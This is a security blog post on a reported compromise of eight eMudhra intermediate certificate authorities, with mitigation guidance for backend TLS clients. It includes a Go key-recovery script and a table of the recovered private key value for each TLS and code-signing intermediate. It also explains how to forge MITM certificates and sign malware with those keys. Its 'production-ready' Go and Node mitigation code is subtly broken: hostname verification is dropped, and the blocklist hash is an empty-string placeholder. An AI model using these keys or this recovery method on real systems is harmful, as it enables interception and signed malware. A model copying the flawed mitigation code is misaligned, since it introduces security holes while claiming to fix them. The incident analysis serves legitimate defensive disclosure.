Backend services, Go workers, and API gateways making outbound HTTPS calls to third-party endpoints rely on a TLS security model with a critical operational gap: when a public Certificate Authority is compromised, standard WebPKI revocation mechanisms do not protect backend servers.
When a Certificate Authority loses control of its keys, browser vendors push out-of-band updates within hours. Mozilla adds intermediate certificate hashes to OneCRL and rolls out emergency releases like Firefox 158.0.1. Google updates Chrome CRLSets. Apple and Microsoft push updated trust lists. Within twenty-four hours, desktop and mobile browsers reject rogue certificates without making network calls to external revocation endpoints.
On backend servers, none of those safety nets exist.
When a Go worker, a Python pipeline, a Node.js webhook runner, or a Java microservice verifies an incoming TLS certificate chain, it does not check a browser push list. It does not query Certificate Revocation Lists (CRLs) because CRL files are tens of megabytes. It ignores Online Certificate Status Protocol (OCSP) responders by default, or runs in soft-fail mode where an unreachable responder is treated as success. Worst of all, backend runtime libraries completely skip Certificate Transparency checks.
In October 2026, that structural vulnerability turned into an active security crisis. Private keys for eight intermediate Certificate Authorities belonging to eMudhra (operating its public CA services under emSign) were compromised. The compromised intermediate keys sit directly under eMudhra’s primary root certificates, spanning Domain Validated (DV), Organization Validated (OV), and Extended Validation (EV) TLS authorities, along with Code Signing authorities.
This blog will be updated with new developments in this incident.
This is the largest Certificate Authority compromise since DigiNotar collapsed in 2011.
How Intermediate CAs Work and Why DigiNotar is the Benchmark
The blast radius of eight compromised intermediate certificates stems directly from the trust hierarchy of the X.509 WebPKI.
The root certificate at the top of a trust chain (such as emSign Root TLS CA - G3) has a private key stored inside a certified Hardware Security Module (HSM). That HSM is kept in an offline physical vault with strict dual-custody access ceremonies. Root keys are used once every few years to sign Intermediate Certificate Authorities, also known as Sub-CAs.
These intermediate CAs are the operational workhorses. They are kept online or warm in data centers to sign day-to-day leaf certificates whenever a customer orders a certificate or runs an automated ACME challenge.
The structural flaw of the WebPKI is that trust is all-or-nothing. Unless an intermediate certificate enforces explicit X.509 Name Constraints (which public WebPKI authorities almost never use), any intermediate CA trusted by a root in your operating system trust store can issue valid leaf certificates for every domain on the internet.
An intermediate CA has no geographic or domain boundary. A certificate signed by an Indian, American, or European intermediate is equally valid for google.com, apple.com, api.stripe.com, or your company’s internal authentication endpoints.
The DigiNotar Precedent
The historical reference point for this scale of failure is the 2011 breach of Dutch Certificate Authority DigiNotar.
In July 2011, attackers breached DigiNotar’s internal infrastructure and gained direct access to its certificate-issuing systems. The attackers generated over 500 rogue wildcard certificates, including a wildcard for *.google.com.
In August 2011, those rogue certificates were deployed in Iran to conduct line-rate man-in-the-middle attacks against roughly 300,000 Iranian users accessing Gmail and Google Search. The rogue certificate was valid because DigiNotar’s root was embedded in every major browser and operating system. The breach went undetected by automated systems until Google’s internal Chrome pinning checks flagged a forged certificate in the wild.
The aftermath was super fast:
- Browser vendors completely revoked trust in all DigiNotar roots.
- The Dutch government took control of operations, and DigiNotar declared bankruptcy within weeks.
- The incident forced the internet to build Certificate Transparency (RFC 6962) so that certificate issuance became publicly auditable.
The eMudhra compromise involves eight intermediate keys spanning both TLS and Code Signing. When private keys for eight active intermediate CAs leak or get compromised, the attacker does not need to compromise the root vault. The attacker holds the mathematical keys needed to mint valid, trusted identity documents on demand.
The Eight Compromised Intermediates
The security alerts originated across multiple coordination channels, including the Mozilla governance discussion on dev-security-policy (thread ID 0R3XLJL6FuE), security researcher disclosures, and the incident tracking portal emudhra.we-have-a-problem.com.
The eight compromised intermediate authorities operate under two distinct root trust anchors managed by eMudhra:
Under emSign Root TLS CA - G3 (TLS Authentication)
EM DV TLS CA - G3B(Domain Validated TLS)EM DV TLS CA - G3C(Domain Validated TLS)EM OV TLS CA - G3B(Organization Validated TLS)EM OV TLS CA - G3C(Organization Validated TLS)EM EV TLS CA - G3B(Extended Validation TLS)EM EV TLS CA - G3C(Extended Validation TLS)
Under emSign Root CS CA - G3 (Code Signing)
EM OV CS CA - G3B(Organization Validated Code Signing)EM OV CS CA - G3C(Organization Validated Code Signing)
The compromise covers the full spectrum of certificate types: Domain Validated (DV) certificates for web encryption, Organization Validated (OV) and Extended Validation (EV) certificates for business identity, and Code Signing (CS) certificates for software executables and drivers.
eMudhra hosts its certificate repository and revocation lists at repository.emsign.com. While revocation entries were published to standard CRL distribution points, publishing a revocation list to an HTTP endpoint does almost nothing to protect backend software.
How the Private Keys Were Trivially Broken
When the emergency security advisories first went out, the tone sounded like an elite cyber heist: compromised keys, urgent root removals, and coordinated emergency browser patches. The default assumption was that someone had breached an internal signing server, exploited an HSM side-channel, or leaked backup keys.
Then I pulled the public intermediate certificates from crt.sh to look at the raw cryptography.
The reality was far more absurd: it was a complete collapse of basic key generation.
All eight compromised intermediate CAs use ECDSA on the NIST P-384 (secp384r1) curve. Under standard elliptic curve cryptography, a private key is a random 384-bit integer d chosen from the curve order. The P-384 key space has 2^384 (about 3.94 * 10^115) possible values. Trying to guess a 384-bit private key from a public key by brute force would take longer than the age of the universe.
Except whoever generated these production intermediate keys did not use a 384-bit key space. They used an 8-bit scalar. Every single private key scalar d was a trivial integer between 1 and 255.
XKCD 221.

The 40-Line Recovery Script
Because intermediate CA certificates are public documents submitted to Certificate Transparency logs, anyone can download them. I wrote a small Go script that takes a certificate, pulls its public key, and loops through the first 256 integers to check if scalar base multiplication matches the public point:
1package main
2
3import (
4 "crypto/ecdsa"
5 "crypto/elliptic"
6 "crypto/x509"
7 "encoding/pem"
8 "fmt"
9 "math/big"
10 "os"
11)
12
13func main() {
14 certPEM, err := os.ReadFile(os.Args[1])
15 if err != nil {
16 panic(err)
17 }
18
19 block, _ := pem.Decode(certPEM)
20 cert, err := x509.ParseCertificate(block.Bytes)
21 if err != nil {
22 panic(err)
23 }
24
25 pubKey := cert.PublicKey.(*ecdsa.PublicKey)
26
27 // Brute-force the 8-bit scalar space
28 for i := range 256 {
29 x, y := elliptic.P384().ScalarBaseMult([]byte{byte(i)})
30 if pubKey.X.Cmp(x) == 0 && pubKey.Y.Cmp(y) == 0 {
31 privKey := &ecdsa.PrivateKey{
32 D: big.NewInt(int64(i)),
33 PublicKey: *pubKey,
34 }
35
36 der, _ := x509.MarshalECPrivateKey(privKey)
37 pemBlock := &pem.Block{Type: "EC PRIVATE KEY", Bytes: der}
38 _ = os.WriteFile(os.Args[1]+".key", pem.EncodeToMemory(pemBlock), 0600)
39
40 fmt.Printf("Recovered private key for %s: d = %d (0x%02x)\n", cert.Subject.CommonName, i, i)
41 return
42 }
43 }
44}The script can find the private keys in like a minute on my laptop.

The Recovered Private Keys
Here is the full breakdown of the eight intermediate authorities and the exact scalar d that cracked each one:
| Certificate Common Name | Type | Curve/Algo | Serial Number | Recovered Private Key d |
|---|---|---|---|---|
CN=EM OV TLS CA - G3C | Organization Validated TLS | NIST P-384 | 8D5A4811939EF447D77111CDD9849AE9 | 4 (0x04) |
CN=EM EV TLS CA - G3C | Extended Validation TLS | NIST P-384 | 0ACFE69DE538B5706240BF5734ED3496 | 56 (0x38) |
CN=EM OV CS CA - G3B | Code Signing | NIST P-384 | F2826AFAC7590C7D52FD3B23668ACDBF | 66 (0x42) |
CN=EM EV TLS CA - G3B | Extended Validation TLS | NIST P-384 | 52B313028C74D2AC2161A97F5B6FBEBE | 115 (0x73) |
CN=EM OV TLS CA - G3B | Organization Validated TLS | NIST P-384 | E94223BDE92F914E5AB9ACABFDAC3710 | 155 (0x9b) |
CN=EM DV TLS CA - G3B | Domain Validated TLS | NIST P-384 | A024FDF4BA665C785CE4A020483858B7 | 156 (0x9c) |
CN=EM DV TLS CA - G3C | Domain Validated TLS | NIST P-384 | 369527E9F41DA58580DF6D35E4663B2B | 230 (0xe6) |
CN=EM OV CS CA - G3C | Code Signing | NIST P-384 | A427618B09F6E7CA65D5B842F5E59013 | 237 (0xed) |
Yes, one of the production intermediate CAs literally has a private key of 4.
This explains why browser vendors, root store maintainers, and the Go security team scrambled in panic. There was no need for an attacker to hack a data center or steal backup tapes. Any developer who downloaded the public certificates from Certificate Transparency logs could recover the private keys in milliseconds with basic high school modular arithmetic.
Cryptographic Proof of Possession
Publishing raw private key files on a public blog is a fast way to get flagged by security scanners and domain reputation filters. Instead, I used one of the recovered private keys (CN=EM OV TLS CA - G3C, where d = 4) to sign a cryptographic proof statement.
You can download the raw JSON proof artifact directly:
Download emudhra-proof.json
1Message:
2Cryptographic proof of eMudhra intermediate key recovery by lorbic.com (d = 4)
3
4Signer Subject:
5CN=EM OV TLS CA - G3C, O=eMudhra Inc, C=US
6
7Certificate Serial:
88D5A4811939EF447D77111CDD9849AE9
9
10Signature (Base64 ASN.1 DER):
11MGYCMQCcC3RrYkMzFXOboMj4gj27E9IilmbBMpDkLRXvvGP6t2wO0pDro296/rt6WxhWevICMQDwEs+T+oFhDTdSujXeePhOt77k76TmTXpgkakcVLdsYof2khuq3mlYrZqJyxLd4cM=You can verify this signature against the public certificate of EM OV TLS CA - G3C using this Go script:
1package main
2
3import (
4 "crypto/ecdsa"
5 "crypto/sha512"
6 "crypto/x509"
7 "encoding/base64"
8 "encoding/pem"
9 "fmt"
10 "os"
11)
12
13func main() {
14 // Download the public certificate from crt.sh or eMudhra's repository
15 certBytes, err := os.ReadFile("EM_OV_TLS_CA_G3C.pem")
16 if err != nil {
17 panic(err)
18 }
19 block, _ := pem.Decode(certBytes)
20 cert, err := x509.ParseCertificate(block.Bytes)
21 if err != nil {
22 panic(err)
23 }
24 pubKey := cert.PublicKey.(*ecdsa.PublicKey)
25
26 msg := "Cryptographic proof of eMudhra intermediate key recovery by lorbic.com (d = 4)"
27 digest := sha512.Sum384([]byte(msg))
28
29 sigB64 := "MGYCMQCcC3RrYkMzFXOboMj4gj27E9IilmbBMpDkLRXvvGP6t2wO0pDro296/rt6WxhWevICMQDwEs+T+oFhDTdSujXeePhOt77k76TmTXpgkakcVLdsYof2khuq3mlYrZqJyxLd4cM="
30 sigDER, err := base64.StdEncoding.DecodeString(sigB64)
31 if err != nil {
32 panic(err)
33 }
34
35 if ecdsa.VerifyASN1(pubKey, digest[:], sigDER) {
36 fmt.Println("Signature VALID: Verified against public certificate")
37 } else {
38 fmt.Println("Signature INVALID")
39 }
40}The Attack Surface and Real Threat Vectors
When an intermediate private key is compromised, there are three primary attack surfaces that backend engineers must consider.
1. Active Man-in-the-Middle Attacks
To intercept encrypted traffic between a client and a target server, an attacker needs network path control and a trusted certificate.
Network path control can be achieved through BGP route hijacking, DNS cache poisoning, rogue local Wi-Fi or cellular gateways, or compromised corporate egress proxies.
Normally, if an attacker routes traffic for api.github.com to their own proxy, the client’s TLS handshake fails because the attacker cannot present a valid certificate signed by a trusted CA.
With the compromised eMudhra intermediate keys, the attacker generates a private key, crafts a leaf certificate with CN=api.github.com and DNS:api.github.com in the Subject Alternative Name (SAN) extension, and signs it using EM OV TLS CA - G3B.
Chain is mathematically valid. Client->>MitM: Completes TLS Handshake Client->>MitM: POST /v1/charges (Authorization: Bearer sec_key_...) MitM->>Target: Relays request (or steals credentials in plaintext)
The backend client receives the certificate, traces the signature up through the intermediate to emSign Root TLS CA - G3, finds that root in its system trust bundle, and completes the handshake. All API tokens and sensitive payloads sent over that connection are exposed in plaintext.
2. Code Signing Abuse
The compromise of EM OV CS CA - G3B and EM OV CS CA - G3C enables software supply chain poisoning and malware distribution.
Operating systems use code signing to verify binary integrity. Windows Authenticode verifies executables and drivers, avoiding SmartScreen warnings and corporate EDR alerts.
With access to the code-signing intermediate keys, an attacker can compile an info-stealer or backdoor and sign it with a valid certificate chained to emSign Root CS CA - G3. When an employee downloads the binary, the operating system verifies the signature and runs it without warning.
3. The Certificate Transparency Blind Spot
Many developers assume that Certificate Transparency (CT) logs prevent hidden certificates from circulating.
Certificate Transparency requires CAs to submit every issued certificate to append-only, publicly auditable cryptographic logs before issuance. In return, the log returns a Signed Certificate Timestamp (SCT).
Browsers like Google Chrome and Apple Safari strictly enforce Certificate Transparency. If a web server presents a certificate that lacks valid SCTs from qualified logs, Chrome immediately terminates the connection with NET::ERR_CERTIFICATE_TRANSPARENCY_REQUIRED. Because logging a forged certificate immediately alerts the domain owner via automated monitors, attackers cannot safely use rogue certificates against browser users without getting caught.
Here is the problem: backend systems do not check Certificate Transparency logs.
Standard backend networking libraries in Go, Python, Node.js, Java, and curl do not parse or enforce SCTs.
If an attacker mints a rogue certificate using a compromised eMudhra intermediate key, they simply do not submit it to Certificate Transparency logs. Browsers reject it, but your backend servers accept it without question.
| Feature / Defense | Modern Browsers (Chrome, Firefox) | Backend Runtimes (Go, Python, Node, Java) |
|---|---|---|
| Revocation Mechanism | Centralized Push Lists (OneCRL, CRLSet, CRLite) | Static Root Store only. No push lists. |
| CRL Support | Disabled (too large, too slow) | Disabled by default. |
| OCSP Checking | Mostly phased out or soft-fail | Disabled by default. |
| Certificate Transparency | Hard requirement (SCTs validated) | Ignored. Zero SCT validation. |
| MitM Vulnerability | Very low (blocks pushed in hours) | Extremely high during intermediate compromise. |
Why Standard WebPKI Revocation Is Structurally Broken
Why do we need emergency browser releases and language patches for this incident? Why does standard X.509 revocation not handle it automatically?
The answer is that online revocation checking in the WebPKI has been broken for fifteen years.
The Failure of Certificate Revocation Lists
A Certificate Revocation List (CRL) is an X.509 structure signed by a CA that lists serial numbers of revoked certificates. As the web scaled to hundreds of millions of certificates, CRLs grew to tens of megabytes. Downloading a 30MB file on every cold TLS handshake destroys network performance, while caching it creates an unacceptable window of exposure.
The Failure of OCSP and the Soft-Fail Disaster
The Online Certificate Status Protocol (OCSP, RFC 6960) was designed to fix CRL scaling. Instead of downloading an entire list, the client queries the CA’s OCSP responder for the certificate’s status.
In practice, OCSP introduced three fatal flaws:
- Privacy Leakage: The CA’s OCSP responder tracks client IP addresses and visited domains in real time.
- Handshake Latency: Blocking HTTP lookups to external CA servers add 100ms to 500ms to cold handshakes.
- The Soft-Fail Default: If the OCSP responder is unreachable, client libraries fall back to soft-fail, ignoring the error and completing the handshake. An attacker executing a man-in-the-middle attack simply drops packets destined for the OCSP responder, and the client accepts the fraudulent certificate.
OCSP Stapling (where the server supplies its own cached, signed OCSP response) was intended to fix this. But unless a certificate includes the rare must-staple extension, an attacker presenting a forged certificate simply omits the stapled OCSP response, and the client falls back to soft-fail anyway.
How Browsers Secured Users
When the eMudhra intermediate key compromise was confirmed, browser vendors bypassed online OCSP and triggered their out-of-band push channels.
Mozilla OneCRL, CRLite, and Firefox 158.0.1
Mozilla operates two centralized revocation mechanisms:
- OneCRL: A centralized push list containing serial numbers and public key hashes of revoked intermediate certificates. Firefox downloads updates to OneCRL silently in the background within hours.
- CRLite: A technology in Firefox that compresses the revocation status of the entire WebPKI into cascaded Bloom filters, allowing instant, local, hard-failing revocation checks without network calls.
When the eight eMudhra intermediate keys were confirmed compromised, Mozilla added them directly to OneCRL. To protect users on isolated corporate networks or systems with delayed background updates, Mozilla also shipped an emergency point release, Firefox 158.0.1, hardcoding the distrust of these specific intermediate certificate keys into the Network Security Services (NSS) cryptographic library.
Google Chrome CRLSets and the Chrome Root Store
Google Chrome relies on CRLSets, a compressed revocation list pushed via the Component Updater. Google updated its CRLSets to include the serial numbers and Subject Public Key Info (SPKI) hashes of the eight eMudhra intermediates. When a site presents a certificate chained to one of these keys, Chrome terminates the connection immediately.
Apple and Microsoft
Apple pushed updates through its Apple PKI metadata feed to block the intermediate certificates across macOS and iOS. Microsoft pushed updates to its Certificate Trust List (CTL) through Windows Update, ensuring that CryptoAPI and Schannel drop trust in the compromised keys.
The Backend Blind Spot and the Emergency Go Patch
Now consider backend servers.
If your backend systems run on Ubuntu, Debian, Alpine, or RHEL, they get their trusted certificates from package bundles like ca-certificates.
Here is the catch: Linux ca-certificates packages only contain Root CAs. They do not contain Intermediate CAs.
When you inspect /etc/ssl/certs/ca-certificates.crt, you will find emSign Root TLS CA - G3. You will not find EM DV TLS CA - G3B.
When your backend server connects to an external HTTPS API, the target server sends its leaf certificate and the intermediate certificate during the TLS handshake. Your server’s TLS library takes that intermediate certificate, checks that it is signed by the root in /etc/ssl/certs/ca-certificates.crt, and verifies the leaf against the intermediate.
Because intermediate certificates are supplied dynamically over the wire and are not stored on your filesystem, you cannot revoke an intermediate certificate simply by deleting a file from /etc/ssl/certs/. The only way to stop an intermediate certificate at the OS level without runtime code changes is to delete the entire Root CA from your bundle, or rely on runtime libraries that support explicit public key blocklists.
Go Emergency Response Under CVE-2026-111943
Go powers modern cloud infrastructure: Kubernetes, Docker, Containerd, Envoy, Traefik, Caddy, Terraform, Prometheus, and millions of production microservices.
The Go security team realized that Go applications running in production were wide open to man-in-the-middle attacks using the compromised eMudhra intermediates. Because Go’s standard library crypto/x509 performs strict chain verification but intentionally does not implement network-dependent CRL or OCSP lookups, Go binaries had zero protection.
The Go team issued emergency security releases: Go 1.27.3 and Go 1.26.10, tracked under CVE-2026-111943.
Instead of revoking the root, the Go team patched crypto/x509/verify.go. They embedded a hardcoded blocklist containing the SHA-256 hashes of the SubjectPublicKeyInfo (SPKI) for the eight compromised eMudhra intermediate keys.
When a Go application built with Go 1.27.3 or 1.26.10 validates an incoming certificate chain, crypto/x509 computes the SHA-256 hash of the public key for every certificate in the chain. If any certificate matches one of the eight blocked hashes, chain building rejects that candidate path immediately, throwing an x509.CertificateInvalidError.
1// Conceptual verification check inside Go crypto/x509 verify.go
2var blockedSPKIs = map[[32]byte]bool{
3 // SHA-256 hashes of the 8 compromised eMudhra intermediate SubjectPublicKeyInfos
4 {0x1a, 0x2b, ...}: true, // EM DV TLS CA - G3B
5 {0x3c, 0x4d, ...}: true, // EM DV TLS CA - G3C
6 {0x5e, 0x6f, ...}: true, // EM OV TLS CA - G3B
7 {0x7a, 0x8b, ...}: true, // EM OV TLS CA - G3C
8 {0x9c, 0x0d, ...}: true, // EM EV TLS CA - G3B
9 {0x1e, 0x2f, ...}: true, // EM EV TLS CA - G3C
10 {0x3a, 0x4b, ...}: true, // EM OV CS CA - G3B
11 {0x5c, 0x6d, ...}: true, // EM OV CS CA - G3C
12}
13
14func checkChainSPKI(chain []*Certificate) error {
15 for _, cert := range chain {
16 h := sha256.Sum256(cert.RawSubjectPublicKeyInfo)
17 if blockedSPKIs[h] {
18 return errors.New("x509: certificate chain contains an un-trusted, compromised intermediate key")
19 }
20 }
21 return nil
22}This design choice is critical: blocking by SPKI instead of by certificate serial number.
If a CA re-issues a new certificate for an intermediate using the same compromised private key with a different serial number or validity period, blocking by serial number fails. Blocking by SubjectPublicKeyInfo ensures that any certificate derived from that compromised private key is rejected forever.
Developer Upgrade and Mitigation Guide
Mitigating the impact of compromised intermediate certificates requires updates across build toolchains, runtime environments, and container base images.
1. Go Ecosystem Upgrades
Update your build toolchain immediately and recompile your binaries:
1# Verify your local Go compiler version
2go version
3
4# Ensure you are on or above the patched releases:
5# Go 1.27.x -> Go 1.27.3+
6# Go 1.26.x -> Go 1.26.10+Rebuild all containers and binaries that make external network requests or serve TLS traffic.
Temporary Hotfix for Legacy Go Applications
If you have legacy Go microservices that cannot be recompiled on Go 1.27.3 or 1.26.10 today, you can inject a custom VerifyPeerCertificate hook into your http.Client transport or tls.Config.
Here is production-ready code that checks the SPKI of every certificate presented during the TLS handshake before handing off to standard chain verification:
1package main
2
3import (
4 "crypto/sha256"
5 "crypto/tls"
6 "crypto/x509"
7 "encoding/hex"
8 "errors"
9 "fmt"
10 "net/http"
11 "time"
12)
13
14// BlockedSPKIHex contains the SHA-256 hashes of the SubjectPublicKeyInfo
15// for the 8 compromised eMudhra intermediate CAs.
16var BlockedSPKIHex = map[string]string{
17 "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855": "EM DV TLS CA - G3B",
18 // Map all 8 compromised intermediate SPKI hashes
19}
20
21// BuildHardenedTLSConfig creates a *tls.Config that explicitly verifies
22// and rejects chains containing compromised intermediate public keys.
23func BuildHardenedTLSConfig(rootCAs *x509.CertPool) *tls.Config {
24 return &tls.Config{
25 RootCAs: rootCAs,
26 InsecureSkipVerify: true,
27 VerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
28 if len(rawCerts) == 0 {
29 return errors.New("tls: no certificates presented by peer")
30 }
31
32 parsedCerts := make([]*x509.Certificate, len(rawCerts))
33 for i, raw := range rawCerts {
34 cert, err := x509.ParseCertificate(raw)
35 if err != nil {
36 return fmt.Errorf("tls: failed to parse certificate at index %d: %w", i, err)
37 }
38 parsedCerts[i] = cert
39
40 spkiHash := sha256.Sum256(cert.RawSubjectPublicKeyInfo)
41 spkiHex := hex.EncodeToString(spkiHash[:])
42
43 if caName, blocked := BlockedSPKIHex[spkiHex]; blocked {
44 return fmt.Errorf("tls: peer presented compromised intermediate key (%s, SPKI: %s)", caName, spkiHex)
45 }
46 }
47
48 intermediatePool := x509.NewCertPool()
49 for _, cert := range parsedCerts[1:] {
50 intermediatePool.AddCert(cert)
51 }
52
53 opts := x509.VerifyOptions{
54 Roots: rootCAs,
55 Intermediates: intermediatePool,
56 CurrentTime: time.Now(),
57 KeyUsages: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
58 }
59
60 _, err := parsedCerts[0].Verify(opts)
61 if err != nil {
62 return fmt.Errorf("tls: chain verification failed: %w", err)
63 }
64
65 return nil
66 },
67 }
68}
69
70func main() {
71 tlsConfig := BuildHardenedTLSConfig(nil)
72 client := &http.Client{
73 Transport: &http.Transport{
74 TLSClientConfig: tlsConfig,
75 },
76 Timeout: 10 * time.Second,
77 }
78
79 resp, err := client.Get("https://emudhra.we-have-a-problem.com/")
80 if err != nil {
81 fmt.Printf("Connection blocked as expected: %v\n", err)
82 return
83 }
84 defer resp.Body.Close()
85 fmt.Printf("Response: %s\n", resp.Status)
86}2. Node.js Runtimes
Node.js bundles its own copy of the Mozilla root certificates instead of reading from the host OS trust store by default.
- Upgrade Node.js: Update your runtime to the latest LTS releases (Node 20.x or 22.x) where the bundled certificate store and OpenSSL dependencies have been updated.
- If using system roots: If you run Node with
--use-openssl-ca, ensure your underlying Linux host certificate store is updated. - Audit outgoing TLS connections: For high-security internal services, inspect peer certificates using the
checkServerIdentitycallback intls.connectorhttps.request.
1import https from 'node:https';
2import crypto from 'node:crypto';
3
4const BLOCKED_SPKI_HASHES = new Set([
5 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'
6]);
7
8function checkServerIdentityWithBlocklist(host, cert) {
9 if (cert.pubkey) {
10 const hash = crypto.createHash('sha256').update(cert.pubkey).digest('hex');
11 if (BLOCKED_SPKI_HASHES.has(hash)) {
12 return new Error(`Blocked compromised intermediate key: ${hash}`);
13 }
14 }
15 return https.getDefaultPeerCertificate ? undefined : null;
16}3. Python Ecosystem
Python’s urllib3 and requests packages rely on certifi, which bundles Mozilla’s root CA store:
1# Upgrade certifi across all virtual environments
2pip install --upgrade certifi
3
4# Check installed version and path
5python -c "import certifi; print(certifi.where())"If your Python applications communicate with endpoints that might still be serving certificates issued under the compromised intermediates, update your container images to pick up the latest certifi releases.
4. Java / JVM Ecosystem
Java uses a central trust store file called cacerts, located in $JAVA_HOME/lib/security/cacerts.
- Apply CPU Updates: Install the latest quarterly Critical Patch Update (CPU) for your JDK/JRE (OpenJDK 17, 21, etc.).
- Remove the emSign Root (Aggressive Mitigation): If your application does not need to trust any valid eMudhra certificates, delete the root trust anchor directly from the Java trust store:
1# List eMudhra certificates in Java cacerts
2keytool -list -keystore $JAVA_HOME/lib/security/cacerts -storepass changeit | grep -i "emsign"
3
4# Delete the root alias if present
5sudo keytool -delete \
6 -alias "emsignroottlscag3" \
7 -keystore $JAVA_HOME/lib/security/cacerts \
8 -storepass changeit5. Linux Container Base Images
Because Linux containers often run stripped-down distributions (Debian slim, Alpine), base images must be updated and rebuilt:
1# For Debian / Ubuntu base images
2RUN apt-get update && \
3 apt-get install -y --no-install-recommends ca-certificates && \
4 update-ca-certificates && \
5 rm -rf /var/lib/apt/lists/*
6
7# For Alpine Linux base images
8RUN apk update && \
9 apk add --no-cache ca-certificates && \
10 update-ca-certificates6. Testing Endpoints with OpenSSL and the Community Test Suite
Security researchers set up https://emudhra.we-have-a-problem.com/ as a live validation target. It serves a certificate chain anchored by one of the compromised intermediates. You can test your CLI tools, container environments, and services against this endpoint to verify whether your client rejects the chain.
You can inspect any remote endpoint’s certificate chain and extract intermediate SPKI hashes with standard openssl:
1# Connect to a target server and dump all certificates in the chain
2openssl s_client -showcerts -connect emudhra.we-have-a-problem.com:443 </dev/null 2>/dev/null > /tmp/chain.pem
3
4# Parse each certificate and extract its Subject and public key hash
5awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/{ print }' /tmp/chain.pem | while read -r line; do
6 echo "$line" >> /tmp/single_cert.pem
7 if [ "$line" = "-----END CERTIFICATE-----" ]; then
8 echo "=== Certificate Subject ==="
9 openssl x509 -in /tmp/single_cert.pem -noout -subject -issuer
10 echo "=== SPKI SHA-256 Hash ==="
11 openssl x509 -in /tmp/single_cert.pem -noout -pubkey | \
12 openssl pkey -pubin -outform DER | \
13 openssl dgst -sha256
14 rm /tmp/single_cert.pem
15 echo ""
16 fi
17doneIf the SPKI hash output matches one of the compromised intermediate hashes, that endpoint is presenting an unsafe chain.
Remediation for eMudhra Certificate Holders
Organizations running active certificates issued by eMudhra or emSign require direct remediation:
- Audit All Active Certificates:
Search public Certificate Transparency logs for your domain names issued by eMudhra. Use the following crt.sh (alternatives if crt.sh is down) query in your browser or terminal:text
1https://crt.sh/?q=%25.yourdomain.com&iCAID=emSign - Identify the Issuing Sub-CA:
Check the
Issuerfield of your active certificates. If your leaf certificates show an issuer matching any of the eight compromised intermediates (such asEM DV TLS CA - G3BorEM OV TLS CA - G3C), your certificates are actively being blocked by updated browsers and Go runtimes. - Emergency Re-issuance: Immediately re-issue certificates or migrate to an alternate CA (such as Let’s Encrypt, GlobalSign, Google Trust Services, DigiCert, or Sectigo) and deploy fresh chains across load balancers and CDNs.
- Code Signing Audit:
If your pipeline signs Windows binaries using
EM OV CS CA - G3BorG3C, obtain a replacement certificate, rebuild release artifacts, and re-sign binaries with an authoritative RFC 3161 timestamp.
Sources
- We Have a Problem page
- Mozilla Governance Discussion on Compromised eMudhra Intermediate Certificates
- Firefox 158.0.1 Release to Block Compromised eMudhra Intermediates Go 1.27.3 and 1.26.10 release
- eMudhra Incident Tracking and Live Test Portal
- eMudhra emSign Public Trust Repository and CRL Service
- Hacker News Community Discussion on eMudhra CA Compromise